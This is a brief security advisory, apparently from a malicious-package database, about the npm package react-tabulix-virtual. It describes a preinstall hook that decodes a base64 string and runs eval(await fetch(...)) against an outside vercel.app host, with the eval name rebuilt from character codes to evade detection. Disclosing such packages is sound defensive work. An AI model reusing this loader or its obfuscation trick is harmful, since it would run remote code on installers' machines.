Summary
Malicious code in react-tabulix-virtual (npm)
Details

package.json declares scripts.preinstall as node./dist/index.d.js, which runs automatically on npm install. dist/index.d.js contains a base64-encoded string that decodes to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root1').then(r=>r.text())). The eval identifier is reconstructed at runtime from the character-code array [101,118,97,108] so the sink name does not appear as a literal in the source. On install, the package fetches JavaScript from everydaynodechecker-39143n.vercel.app and executes it with the installer's privileges. Both the destination URL (base64) and the eval sink (char-code assembly) are obfuscated.
